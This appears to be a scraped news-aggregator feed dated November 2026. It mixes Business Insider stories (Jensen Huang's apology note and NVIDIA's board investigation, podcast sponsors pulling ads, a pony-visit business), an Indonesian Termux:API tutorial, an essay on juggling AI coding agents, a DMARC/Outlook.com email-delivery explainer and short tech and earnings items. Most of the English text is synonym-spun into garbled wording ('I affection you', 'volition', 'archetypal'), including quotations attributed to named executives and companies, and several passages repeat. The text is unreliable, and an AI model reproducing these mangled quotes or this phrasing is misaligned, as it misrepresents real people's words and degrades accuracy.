Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.
To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.

To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.
Regarding the national safety concerns raised in news reports, NVIDIA's Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America's national security. I am arrogant and grateful to be an American.
My family bears no duty for my choices. I do. Please provision them privacy.
Jensen

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Ask HN: What are you working on? (November 2026)

support@mycoding.id (Doris Putra) — Sun, 08 Nov 2026 22:20:20 +0700
Ask HN: What are you working on? (November 2026). Comments

Nvidia Board of Directors Is Investigating Jensen Huang

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 21:26:43 +0700

The NVIDIA Board is initiating an autonomous inquiry in ray of latest reporting that originator and CEO Jensen Huang has been the mark of a abroad intellect effort.

A commission of autonomous directors, assisted by exterior autonomous counsel, volition oversee the investigation.

The Board prioritizes U.S. national and financial security, which is paramount to the interests of NVIDIA and its shareholders.

While the Board has no logic to accept that either national safety or NVIDIA secrets were compromised, the Board's enquiry volition analyze all accessible information.

Jensen completely supports the assessment and has committed to cooperating alongside it.

The Board has confidence in Jensen and his guidance squad and volition provision additional updates as appropriate.

Nvidia is investigating CEO Jensen Huang after he said he was unfaithful to his wife: Read his note to staff

support@mycoding.id (Lauren Edmonds) — Sun, 08 Nov 2026 21:21:30 +0700

Bloomberg/Getty Images Jensen Huang.

Nvidia's commission of board says it is beginning an inquiry into whether CEO Jensen Huang was the mark of a "foreign intellect effort."
The notice came following Huang sent a note to Nvidia personnel in which he stated he was "unfaithful" to his wife.
In a declaration on Sunday, the business stated the commission of board prioritizes US national and financial security, which it considers "paramount to the interests of NVIDIA and its shareholders."
Read his note here:
To my colleagues at NVIDIA,
I owe my family and all of you an apology.
I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.
Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.
To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.

To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.
Regarding the national safety concerns raised in news reports, NVIDIA's Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America's national security. I am arrogant and grateful to be an American.
My family bears no duty for my choices. I do. Please provision them privacy.
Jensen
This is breaking news. Check rear for more.

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Termux API: Cara Install Termux:API, Izin Android, dan Perintah yang Sering Dipakai

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 21:00:00 +0700

Termux API adalah pasangan aplikasi Android Termux:API dan paket termux-api yang membikin perintah di Termux bisa memakai fungsi HP, misalnya membaca status baterai, memunculkan notifikasi, mengisi clipboard, maupun memotret. Kalian perlu memasang keduanya, dan aplikasi Termux serta Termux:API mesti berasal dari sumber yang sama: sama-sama F-Droid maupun sama-sama GitHub.

Kalau perintah alas seperti pkg install dan nano statis asing, buka dahulu daftar perintah Termux kami, karena contoh di bawah memakai keduanya.

Apa Itu Termux API dan Kenapa Butuh Dua Bagian

Termux sendiri adalah terminal dan lingkungan Linux. Ia tidak bisa langsung menyalakan senter, membaca lokasi, maupun memunculkan notifikasi Android. Pekerjaan itu diambil alih Termux API, yang nama resminya ditulis Termux:API. README repositorinya mengatakan aplikasi ini membuka API Android agar bisa dipakai dari baris perintah, skrip, maupun program lain.

Aplikasi Termux:API berjalan di sisi Android. Dialah yang memanggil fungsi HP dan meminta persetujuan ke pengguna. Paket termux-api dipasang di dalam Termux dan berisi perintah seperti termux-battery-status maupun termux-notification. Perintah itu memproses argumen, meneruskan permintaan ke aplikasi lewat program bantu disebut termux-api, kemudian menampilkan dampaknya di terminal. Beberapa perintah, seperti status baterai dan lokasi, mengembalikan hasil dalam format JSON.

Jadi paket tanpa aplikasi tidak punya tujuan untuk dipanggil, dan aplikasi tanpa paket tidak punya perintah untuk dijalankan. Deskripsi paket di repositori Termux pun mengingatkan hal yang sama: pasang juga aplikasi Termux:API.

Kenapa Termux dan Termux:API Harus dari Sumber yang Sama

Syarat ini wajib dipenuhi sebelum memasang Termux API. README termux-app menerangkan bahwa APK dari tiap sumber ditandatangani dengan kunci yang berbeda. Termux dan semua pluginnya, termasuk Termux:API, memakai sharedUserId com.termux yang sama, sehingga semuanya mesti ditandatangani dengan kunci yang sama. README Termux:API menambahkan bahwa cuma aplikasi Termux utama yang boleh memanggil fungsi di aplikasi API, dan izinnya baru bekerja jika tanda tangannya cocok.

Pasangkan Termux dari F-Droid dengan Termux:API dari F-Droid, maupun Termux dari GitHub dengan Termux:API dari GitHub. Kalau dicampur, Android biasanya menolak pemasangan dengan pesan seperti App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, maupun signatures do not match previously installed version.

Mau pindah sumber? Hapus dahulu Termux beserta semua pluginnya, kemudian pasang ulang semuanya dari sumber baru. README Termux menyarankan mencadangkan isi Termux sebelum menghapusnya. Untuk Google Play, README yang sama mengatakan build di sana statis cabang eksperimental dengan fitur yang belum lengkap, dan menyarankan F-Droid maupun GitHub bagi yang bisa memakainya.

Cara Install Termux API

Pastikan Termux terpasang dari F-Droid maupun dari halaman rilis GitHub termux/termux-app.

Pasang aplikasi Termux:API dari sumber yang sama: halaman com.termux.api di F-Droid, maupun halaman Releases repositori termux/termux-api di GitHub (nama file APK-nya memuat github.debug).

Buka Termux, kemudian pasang paket perintahnya dengan pkg install termux-api.

Uji dengan termux-battery-status. Kalau berhasil, terminal menampilkan JSON yang antara lain berisi percentage (persen baterai), status (misalnya CHARGING maupun DISCHARGING), plugged, dan temperature.

Di antara perintah Termux API, status baterai tidak meminta persetujuan apa pun, jadi cocok untuk tes pertama. Perintah yang menyentuh kamera, lokasi, maupun mikrofon akan memunculkan percakapan persetujuan saat pertama kali dipanggil.

Izin Android yang Diminta Termux API

Aplikasi Termux API mendaftarkan banyak persetujuan di manifesnya, termasuk kamera, lokasi, mikrofon, kontak, SMS, dan getar. Izin yang sensitif tidak diberikan otomatis. Aplikasi memeriksanya setiap kali perintah dipanggil. Bila persetujuan belum ada, ia membuka percakapan persetujuan dan mengembalikan pesan error ke terminal. Beberapa contohnya:

Perintah Izin Android yang diperiksa
termux-camera-photo CAMERA
termux-location ACCESS_FINE_LOCATION
termux-microphone-record RECORD_AUDIO
termux-contact-list READ_CONTACTS
termux-call-log READ_CALL_LOG
termux-sms-send READ_PHONE_STATE dan SEND_SMS

Kalau persetujuan kamera belum diberikan, misalnya, keluarannya seperti ini:

{ "error": "Please grant the following permission to use this command: android.permission.CAMERA" }

Setelah persetujuan diberikan lewat dialog, jalankan ulang perintahnya. Kalau persetujuan sempat ditolak, buka pengaturan aplikasi Termux:API di Android, masuk ke bagiankecil izin, kemudian aktifkan persetujuan yang disebut di pesan error.

Lokasi punya syarat tambahan. Di Android 11 ke atas, Termux:API juga memeriksa persetujuan letak latar belakang. Bila belum ada, termux-location mengembalikan pesan Background location permission not granted dan meminta kalian membuka Settings, Apps, Termux:API, Permissions, Location, kemudian memilih Allow all the time. Perintah termux-notification-list juga butuh akses notifikasi; tanpa akses itu, aplikasi menampilkan toast Please give Termux:API Notification Access dan membuka halaman pengaturannya.

Daftar Perintah Termux API yang Sering Dipakai

Perintah Fungsi Contoh
termux-battery-status Status baterai dalam JSON: persen, status pengisian, suhu, sumber daya termux-battery-status
termux-notification Menampilkan notifikasi mekanisme dengan judul (-t) dan isi (-c) termux-notification -t "Backup" -c "Selesai"
termux-toast Popup teks singkat di layar; -s untuk durasi pendek termux-toast -s "Selesai"
termux-vibrate Menggetarkan HP; -d durasi dalam milidetik (bawaan 1000) termux-vibrate -d 500
termux-clipboard-get Membaca teks di clipboard termux-clipboard-get
termux-clipboard-set Mengisi clipboard dari karena maupun stdin echo "halo" | termux-clipboard-set
termux-location Lokasi HP; -p gps/network/passive, -r once/last/updates termux-location -p network -r last
termux-camera-info Informasi kamera yang ada di HP, termasuk ID-nya termux-camera-info
termux-camera-photo Memotret dan menyimpan JPEG; -c memilih ID kamera termux-camera-photo -c 0 foto.jpg
termux-wifi-connectioninfo Info hubungan Wi-Fi saat ini, seperti SSID, IP, RSSI, dan kecepatan tautan termux-wifi-connectioninfo
termux-torch Menyalakan maupun mematikan senter termux-torch on
termux-job-scheduler Menjadwalkan skrip agar berjalan berkala lihat contoh di bawah

Sebagian besar perintah menampilkan pertolongan dan daftar opsinya lewat -h, misalnya termux-notification -h. Daftar komplit perintah Termux API ada di folder scripts repositori termux-api-package di GitHub; tiap file di sana adalah skrip satu perintah beserta teks bantuannya.

Contoh Skrip Termux API: Notifikasi Saat Baterai Hampir Habis

Skrip ini memakai tiga perintah Termux API sekaligus. Ia membaca status baterai, kemudian memunculkan notifikasi dan getar singkat jika baterai sedang tidak diisi dan sisanya 20% maupun kurang.

#!/data/data/com.termux/files/usr/bin/sh BATAS=20 INFO=$(termux-battery-status) PERSEN=$(echo "$INFO" | grep '"percentage"' | grep -o '[0-9][0-9]*') STATUS=$(echo "$INFO" | grep '"status"' | cut -d '"' -f 4) if [ -n "$PERSEN" ] && [ "$STATUS" = "DISCHARGING" ] && [ "$PERSEN" -le "$BATAS" ]; then termux-notification --id baterai -t "Baterai tinggal $PERSEN%" -c "Colokkan charger sebelum HP mati." termux-vibrate -d 500 fi

Baris grep memungut bilangan dari baris percentage, dan cut memungut teks status seperti DISCHARGING. Pengecekan status membikin notifikasi tidak muncul saat HP sedang dicas. Opsi --id baterai membikin notifikasi baru menimpa notifikasi durasi dengan ID yang sama, jadi tidak menumpuk. Kalau formasi if dengan beberapa kondisi itu belum familier, lihat panduan if else di Bash.

Cara memasang dan menjadwalkannya:

Buat filenya dengan nano ~/baterai.sh, tempel skrip di atas, kemudian simpan.

Jadikan executable dengan chmod +x ~/baterai.sh.

Uji sekali dengan ~/baterai.sh. Supaya notifikasinya pasti muncul saat uji, ubah sementara BATAS=20 menjadi BATAS=100 dan cabut charger.

Jadwalkan dengan termux-job-scheduler -s $HOME/baterai.sh --job-id 1 --period-ms 900000 --battery-not-low false.

Angka 900000 milidetik sama dengan 15 menit, batas minimum masa sejak Android 7 menurut teks pertolongan perintah ini. Opsi --battery-not-low bawaannya true, artinya tugas cuma berjalan saat baterai tidak lemah. Untuk skrip peringatan baterai, harga itu mesti diubah ke false, jika tidak skripnya justru tidak jalan saat dibutuhkan. Cek agenda yang aktif dengan termux-job-scheduler -p dan hapus dengan termux-job-scheduler --cancel --job-id 1.

Error yang Sering Muncul Saat Memakai Termux API

Pesan Penyebab Solusi
App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, signatures do not match previously installed version Termux dan Termux:API berasal dari sumber berbeda Hapus Termux dan semua pluginnya, pasang ulang dari satu sumber
Perintah seperti termux-battery-status tidak dikenali (command not found) Paket termux-api belum terpasang pkg install termux-api
Please grant the following permission to use this command: ... Izin Android untuk perintah itu belum diberikan Izinkan di percakapan yang muncul maupun di pengaturan aplikasi Termux:API
Background location permission not granted Android 11 ke atas, persetujuan letak belum diset sepanjang waktu Ubah persetujuan letak Termux:API ke Allow all the time
Cannot execute file: ... Skrip yang dijadwalkan belum executable chmod +x pada skrip tersebut
No such file: ... Path skrip di termux-job-scheduler -s salah Pakai path lengkap, misalnya $HOME/baterai.sh

Error di luar Termux API, seperti proses yang selesai dengan pesan signal 9 maupun paket yang tidak ditemukan saat pkg install, sudah kami ulas di 10 error pada Termux dan metode mengatasinya.

Chewy and other companies pull ads from 'I've Had It' podcast after hosts laugh at 'insensitive' Charlie Kirk joke

support@mycoding.id (Lauren Edmonds) — Sun, 08 Nov 2026 20:59:23 +0700

Jennifer Welch and Angie Sullivan apologized for their remarks concerning Charlie Kirk on Instagram. Theo Wargo/Getty Images

A 39-second clip shared to X is turning into a enormous headache for the "I've Had It" podcast.
At smallest nine companies have pulled their sponsorships from the famous progressive-leaning civilization and government podcast following a clip of hosts Jennifer Welch and Angie "Pumps" Sullivan went viral on X final week.
The clip, which has nearly 6 myriad views and 18,000 likes, showed the brace laughing at an X article referencing Charlie Kirk, the right-wing governmental advocate who was assassinated final year.
The clip drew criticism from several X users, who called for a boycott of the podcast. Companies began distancing themselves from the display shortly after, including online retailer Chewy.
We do not sponsor or assistance the “I’ve Had It” podcast. We unequivocally condemn aggression in all forms. The comments made by the hosts do not indicate Chewy’s values or what we remain for as a company.
— Chewy (@Chewy) November 7, 2026

"We do not sponsor or assistance the "I've Had It" podcast. We unequivocally condemn aggression in all forms," the business stated in an X article on Saturday. "The comments made by the hosts do not indicate Chewy's values or what we remain for as a company."
Chewy CEO Sumit Singh doubled downward on the company's decision in his own X post. Meanwhile, Cash App, Zenni, Casper, and Honeylove additionally cut ties.
"Honeylove has ended our alliance alongside the I've Had It podcast. Violence of any benevolent is never acceptable, and those comments do not indicate our values," Honeylove stated in an X article on Sunday.
The "I've Had It" hosts posted an apology to the podcast's Instagram document on Saturday.
"It was an insensitive joke, and we should not have laughed. We regret it, and we apologize," the podcast said. "Whatever our governmental differences, there is nothing comic concerning gun violence."

The podcast stated it donated to Everytown for Gun Safety, the largest gun-violence-prevention institution in the United States.
This isn't the archetypal period a presenter has landed in hot h2o complete comments made concerning Kirk. ABC, owned by the Walt Disney Company, suspended and afterward reinstated Jimmy Kimmel's late-night conversation display complete his remarks concerning Kirk. Some workforce from major companies akin Office Depot and Nasdaq additionally disciplined workforce who made negative remarks concerning Kirk online.
The "Pivot alongside Kara Swisher and Scott Galloway" podcast, which discusses business, tech, and politics, has additionally been targeted by calls for an promotion boycott following Galloway criticized Elon Musk final week.
During the archetypal halt on the Pivot Tour 2026, Galloway, an scholarly who frequently writes concerning the tech industry, called Musk a "traitor to the West" and referenced the Rosenbergs. Julius and Ethel Rosenberg were convicted of conspiracy to commit espionage during the Cold War and were executed by the national government.
The remarks drew the ire of Jason Calacanis of the "All-In" podcast and others, including University of California San Diego prof Brian Keating. The CEO of Boom Supersonic, an American aerospace company, wrote on X that Galloway was an capitalist in Boom and criticized the academic's comments.
"I don't intellect disagreements but calling for an implementation of a non-criminal (worse, an genuine hero!) is a stage too far," CEO Blake Scholl wrote on X on Friday. "Working to arrange a buy-out of his shares."

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Starship Flight 15 on 11/13 plans to catch both booster and ship

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 20:49:46 +0700
Comments

How I Fight AI Brain Fry

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 20:37:42 +0700

If you activity alongside Claude Code or Codex from the terminal, you cognize this one.

You commencement a task. The AI takes period to reply, so you commencement another one. Then the archetypal one replies, but the answer needs one clarification, one prosecute up and one flank project — and all of them wants its own tab. Then the second tab's answer comes in. You juggle. And all of a abrupt you discover yourself hopping between 20 threads, trying to keep all those contexts in your brain RAM.

Until you can't. Your brain gets exhausted, your concentration smashes, and you don't cognize anymore what you were doing, anywhere you started, and anywhere you were expected to finish.

A lot of group are suggesting taking breaks, thinking before typing, limiting scope. I have my own experiment.

I decided this way of operating has two important problems: sequencing and context. So I organised my activity a bit akin a precedence queue.

Here is how it really works.

The queue lives in git. Every ticket is a markdown document in the repo, correct next to the code it talks about, and the province of the commission is a committed snapshot. Nothing crucial lives in a conversation opening and nothing lives in my head. If a meeting dies, the queue is motionless there.

An delegate plant that commission in cycles. It researches new tickets, builds the ones a individual has tagged as harmless to build, runs the tests and a browser check, and verifies what is already deployed. For item touching delicate code it builds on a branch and asks first. It never deploys to manufacturing — that part is mine.

What it cannot do is decide. So everything that needs me lands in one location I call my owner inbox. A manuscript says the entire commission and hands me a prioritised catalog of exactly the items waiting on my judgement — assessment this change, answer this question, regulation on this tradeoff.

The study exterior is a Claude artifact. One page, rebuilt from git on all cycle, mirroring the entire commission affirmative a assessment leaf per ticket. So I don't scroll rear through a terminal trying to rebuild what a alter does. I open one link, peruse what was built and why, and provision my verdict. The verdict goes rear into git, onto the card. The leaf is lone a spectator — git is the record.

Then comes the part that matters most.

I obtain one item. I burden its context. I create a decision or petition an action. And I near it, by putting it rear into the queue.

That decision is the entire trick. The ticket doesn't keep hanging in my recollection as a item to recall about. The environment closes alongside it. So whenever I choice the next item from the queue, I can really focus. One item at a time.

It is motionless exhausting. But I don't awareness distracted or lost.

The difficulty was, and motionless is, the tooling about it. Getting the environment served up in a digestible manner, so loading a ticket takes a infinitesimal and not twenty. And keeping tickets from going into endless loops since they are blocked waiting for a ruling lone I can give.

It's a living organism and I keep improving it. But it felt akin a huge stage onward in my efficiency alongside AI tools, so I idea it was value sharing.

I bring miniature ponies into nursing homes for a living. Some residents laugh, while others cry when they see them.

support@mycoding.id (Lauren Crosby Medlicott) — Sun, 08 Nov 2026 20:23:01 +0700

Sarah Woodland brings miniature ponies to older people. Courtesy of Sarah Woodland

This as-told-to composition is according to a conversation alongside Sarah Woodland, originator of Dinky Ponies. It has been edited for dimension and clarity.
Just following the pandemic, I started seeing two Miniature Shetland Ponies all sole day in a site on my run to work.
I'd worked taking attention of another people's horses as a groom — person liable for the daily care, health, management, and preparedness of horses — for years, but I hadn't worked extensively alongside Miniature Shetland Ponies before. For several reason, though, I'd continually appearance for those small, sturdy ponies on my dawn commute.
Wondering who they belonged to, I inquired concerning their owner and asked if I could arrive by to see them.
Long narrative short, a few months later, I was stated those two ponies, not entirely certain what I was going to do alongside them.
I started a endeavor alongside the ponies
I didn't desire them to fair be site ornaments for the remainder of their lives — they were horses that needed several kind of job to do. But the breed isn't capable of doing too much because of their small size.
I messaged several of the mothers I knew to ask concerning their involvement in stable administration classes and sessions in handling the ponies.
Hitting what felt akin constant barriers, I eventually managed to commencement hosting parties and one-to-one sessions in locations about me — akin pub car parks and random fields.
Never having run a endeavor before, I had to get to grips alongside organizing bookings, sending invoices, and managing a small business. It was a lot of admin to get my caput about at the start.

By the end of my archetypal summer of these sessions, I knew I had to discover another activity for the ponies since the climate would be changing and exterior sessions weren't going to activity in the chilly and rainy autumn and winter.
Very randomly, I recall seeing a photo of a equine in an elevator and wondered if my ponies could be taken into buildings and up and downward elevators.
To test it out, I called a companion who plant at a children's day care up the highway from me and asked if I could bring among the ponies into the construction to see how it would oversee indoors and alongside children.
There were no problems.
I started bringing the ponies to elder attention facilities
Around the identical time, I considered whether elder attention homes would have budgets for me to bring the ponies in to mingle alongside aged residents. I've never had cognition in attention homes, but imagined that being about the ponies would be a beautiful treat.

Sarah Woodland started taking her ponies to elder attention facilities. Courtesy of Sarah Woodland

I called a nursing home and asked if I could try it. I really didn't have a clue what I was doing, but reckoned I would study by test and error.
The ponies coped, and the aged residents entirely loved the visit.
Four years later, I'm now taking my ponies (I have seven now) to attention homes and residential homes to sojourn aged group and children alongside particular needs. It's rotate into my full-time job, and full-time passion.
I've faced a lot of unexpected challenges alongside the way. There was no example to prosecute and no blueprint to copy. Everything I've built, I've built myself, learning as I've gone along.
I had to study from my mistakes
Of course, I've made mistakes too, but alongside mistakes comes learning, and all difficulty has taught me something. I've learned what works, what doesn't, what I'd do differently, and most importantly, how to keep moving forward.
As the ponies' feet are fairly slippery on laminate floors, I've eventually established shoes for them that don't appearance silly. I don't akin the idea of making the ponies appearance ridiculous, since they're operating animals and have to be treated alongside respect.

Sarah Woodland trained her ponies to obtain elevators. Courtesy of Sarah Woodland

When I obtain the ponies into a building, they totally rely me. They cognize I wouldn't put them in a stance anywhere they'd awareness unsafe. It's the identical whenever I obtain them into an elevator. I have stated them affirmative reinforcement by giving them a small mint all period they go into the elevator. I must continually remain calm because, in doing so, they too remain calm. They are intelligent animals that cognize whether I'm stressed or not and mirror my state.
Having not spent period in a attention home, I assume I wasn't prepared for how much I would need to study concerning what group living in attention homes need. I'm now continually learning to comprehend how group awareness whenever they see the ponies. I'm learning what the correct things to say are, and perchance what things I shouldn't say.
I've really enjoyed my conversations alongside group whenever I'm strolling through alongside the ponies, and I discover it difficult to move on from a conversation whenever my hr of visiting is completed.
While I bounds my visits to one hr for the ponies' welfare, I revisit the attention homes throughout the twelvemonth so that distinct group have a chance to see the ponies. I would fairly my visits contain a constricted figure of group who get norm period to conversation alongside me and engage alongside the ponies, fairly than rushed "show-and-tell" sessions anywhere residents lone get a small period to pet the ponies before I move on.
I can't fig out why the aged affection the ponies so much. They laugh, and sometimes they cry whenever they see them. You never cognize what the reply volition be. Perhaps there's item concerning their small size that makes them appear young and foal-like, not realizing that they are all really extremely old.
And of course, whenever we sojourn residential homes for children alongside particular needs, or nurseries alongside young children, the children adore the ponies. I've taken my sons alongside to these visits, and have felt immensely arrogant observing them engage alongside the children as they guide the ponies.
I never idea this was what I'd be doing for activity and alongside my life. It's been incredibly difficult and not hugely profitable, but likewise fulfilling. I wouldn't desire to do item alternatively correct now. I'm living my aspiration — making ponies and group blessed all at once.

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Lauren Crosby Medlicott is a freelance newsman in the UK who writes concerning individual entitlements and social fairness issues. Addtionally, she supports survivors of individual trafficking and contemporary slavery through a project she runs in Cardiff, Wales.

Outlook.com Is Quietly Rejecting Email from Domains Without DMARC

support@mycoding.id (Mira Azkia) — Sun, 08 Nov 2026 20:20:32 +0700

Since November 5, 2026, Microsoft's person communication assistance has been turning distant several of the email from domains that don't publish a DMARC record. If your business emails customers, vendors or applicants alongside outlook.com, hotmail.com, live.com or msn.com addresses, several of that communication may be bouncing correct now. Nobody announced it. The fix is one DNS record.

Key takeaways

Outlook.com, Hotmail, Live and MSN now refuse part of the communication from domains that have no DMARC record.

It hits ordinary, low-volume senders, not lone the bulk senders Microsoft's published rules cover.

Only several messages bounce, so "my communication is getting through" doesn't average your domain is safe.

The fix is a sole TXT record, v=DMARC1; p=none, which changes nothing concerning how another receivers treat your mail.

What the bounce looks like

The sender gets a bounce akin this one, followed by a bracketed server name and ID that differ per message:

550 5.7.1 Message rejected: Message lacks SPF/DKIM/DMARC Auth Records (AS9031519)

On the archetypal day, the identical rejection came rear without the (AS9031519) code:

550 5.7.1 Message rejected: Message lacks SPF/DKIM/DMARC Auth Records

The wording suggests item is seriously broken. Usually it isn't. The domains we have seen bounced mostly had operating SPF, and many had DKIM too. What they were missing was the DMARC document that ties the two to the From address.

What changed

Microsoft does have published sender rules. Since May 2025, domains that dispatch more than 5,000 messages a day to Outlook.com have had to continue SPF, DKIM and DMARC, or get 550 5.7.515 Access denied. That regulation is aimed at marketers and bulk senders, and most small businesses rightly assumed it didn't use to them.

This new rejection is distinct in the ways that matter:

It reaches small senders. A one-line answer from a small agency can bounce.

It wasn't announced. As of November 6, Microsoft has published nothing concerning it: no postmaster notice, no blog post, no service-health entry.

It doesn't say what failed. A 5.7.515 bounce lists the SPF, DKIM and DMARC results. This one lone says records are missing.

We archetypal saw these bounces in our own outbound logs on November 5. Public reports from another administrators started appearing the identical day.

Why it's uncomplicated to miss

Microsoft refuses lone part of the mail from an affected domain. One communication to a Hotmail location goes through, the next one bounces, and a resend may succeed. That inconsistency is what makes this one dangerous: the individual who sent the communication sees a bounce complete of acronyms, assumes a glitch, and moves on. The client on the another end never knows a communication was sent.

If your endeavor depends on reaching group at individual addresses (patients, homeowners, applicants, parents, members), the disbursal is quiet. Invoices that don't arrive, project confirmations that never land, replies that appearance akin you ignored someone.

Is your domain affected?

Your domain is exposed if it has no DMARC record. You can inspect in a few seconds from any terminal. Replace example.com alongside your domain:

dig +short TXT _dmarc.example.com

A row starting alongside "v=DMARC1 method you have a record. No output method you don't. That's the case this rejection targets.

The fix is one DNS record

Add a TXT document at your DNS host:

Name: _dmarc

Value: v=DMARC1; p=none

p=none is the harmless starting point. It declares that your domain uses DMARC and asks receivers to dispatch you reports, but it tells them to obtain no act on failures. Nothing concerning how Gmail, Yahoo or anyone alternatively treats your communication changes.

There is one condition. DMARC passes lone whenever SPF or DKIM passes for the domain in your From address. If neither lines up, a DMARC document solitary won't help. We covered how alignment works, and why it's anywhere most setups go wrong, in SPF, DKIM, and DMARC Are No Longer Optional.

Step-by-step instructions, including the checks for all three records, are in our guide to the Outlook.com 5.7.1 error.

If your communication goes through MailRoute

Mail you dispatch through the MailRoute outbound relay already passes the two checks DMARC needs:

SPF. Your communication keeps your own domain as its letter cover sender and leaves from servers that include:spf.mailroute.net authorizes.

DKIM. We sign all outbound communication as your domain, using the keys your mr01, mr02 and mr03 CNAME records item to. Publish all three, so we can rotate keys without your signatures always breaking.

For MailRoute senders, the DMARC document is the entire fix. Once it's in place, Outlook.com sees a domain that authenticates, and DMARC passes on either check. Our guide to publishing DMARC for the MailRoute outbound relay takes you from p=none to implementation whenever you're ready.

If your communication doesn't go through MailRoute

The DMARC document is motionless the fix, but the assistance that sends your communication has to continue SPF or DKIM for your domain. Microsoft 365, for example, signs alongside its own onmicrosoft.com domain until you rotate on DKIM for your own domain, and that signature doesn't figure toward DMARC. Our sister business mxio has a guide to this error for any sender, alongside a checker that tests your domain from the page.

Where this is heading

This is the form all important mailbox provider is following. Requirements commencement alongside the bulk senders, get announced alongside a deadline, and afterward quietly rotate into the baseline for everyone. DMARC at p=none is the flat now, not a finest practice.

That's not a bad thing. Spoofing is how much of today's phishing and endeavor email colony starts, and a domain that authenticates is a domain that's much harder to impersonate. The p=none document that gets your communication delivered to Outlook.com today is additionally the archetypal stage to p=reject, which tells receivers to refuse communication that forges your domain.

If you'd akin a relay that signs your outbound communication correctly from day one, our setup documentation walks through SPF, DKIM and DMARC, and you can start a trial whenever you're ready. Add the document today. It takes a few minutes, and it's one small logic for your communication to disappear.

Apple is racing to make Siri more agentic

support@mycoding.id (Terrence O’brien) — Sun, 08 Nov 2026 20:18:19 +0700

Skip to chief content
Future versions of Siri volition be capable to authority third-party apps and execute additional complex tasks.
Future versions of Siri volition be capable to authority third-party apps and execute additional complex tasks.
by Terrence O'Brien
Nov 8, 2026, 7:18 PM UTC
Photo: David Imel / The Verge
Terrence O'Brien

is the Verge’s weekend editor. He’s covered the tech industry for complete 18 years and knows a item or two concerning synths.
Bloomberg’s Mark Gurman says CEO John Ternus is pressuring AI czar Craig Federighi to accelerate the Siri roadmap and provision a mighty AI delegate that can vie alongside OpenAI’s Dots or Meta’s Muse. While Federighi has delivered a functional type of Siri AI on an incredibly abbreviated timeline, the business has no illusions that it’s keeping gait alongside its rivals.
Two important improvements are expected to be made to Siri in the coming months. One volition provision the aide fine-grained authority complete Apple’s first-party apps, allowing it to do things akin rotate and crop images in Photos and arrange Safari tabs. Those capabilities are expected to district alongside iOS 27.3. The bigger change, integration alongside third-party apps, is apt to district later, in the Spring, according to Gurman. That would let Siri location an command through Grubhub or publish a meal booking through OpenTable, for example.
But that’s fair the start. Apple is expected to shove Siri to rotate into additional agentic and allow features that volition authorize it to execute ongoing tasks, not fair one-offs. Gurman says:
Dots, Muse and Grok can keep track of goals, decide what needs to happen next and continue following objectives without the person initiating all idiosyncratic step. Apple ultimately wants to go in this direction, I’m told, and I accept the business could create Siri additional akin an delegate as first as next twelvemonth — not that it has much of a choice, stated current person and market demands.
Follow topics and authors from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.
Terrence O'Brien
The Verge Daily
A liberated regular digest of the news that matters most.

Tripadvisor Says SEO Will Still Weigh On Growth In 2027

support@mycoding.id (Matt G. Southern) — Sun, 08 Nov 2026 20:09:13 +0700

Tripadvisor recorded a $369.5 myriad writedown on its bequest hotels and promotion endeavor in the third quarter, and its CFO stated on the earnings call that SEO volition motionless be a headwind to growth in 2027.

The non-cash goodwill impairment hit the Hotels and Other segment, which includes inn metasearch and media advertising, according to the company’s third-quarter earnings release. The publish says it was driven mostly by traffic headwinds that have accelerated complete multiple periods since of “changes in the hunt landscape.” Segment income cut 23% to $151.6 myriad for the quarter.

During the call, expert Ross Sandler at Barclays wanted to cognize how near Tripadvisor’s center brand is to Google Zero, a term used to depict a website receiving zero integrated traffic via Google. In response, CFO Mike Noonan stated Tripadvisor’s SEO visibility is in the “mid to elevated teens,” downward meaningfully versus a twelvemonth ago, but did not provision specifics on what total it is a percent of.

Marketing is additionally taking a larger portion of revenue, which Tripadvisor ties to its move from liberated hunt traffic to paid channels.

What Tripadvisor Said When Asked About Google Zero

Sandler suggested Viator, Tripadvisor’s experiences booking site, has small SEO exposure. Noonan accepted and stated the visibility comes mostly through the bequest Tripadvisor brand.

SEO volition motionless be a headwind in 2027, Noonan said, and he expects it to commencement to comfort according to current trends in the channel. He stated the eventual tailwind to growth would arrive whenever the business can “mechanically get out of that headwind.”

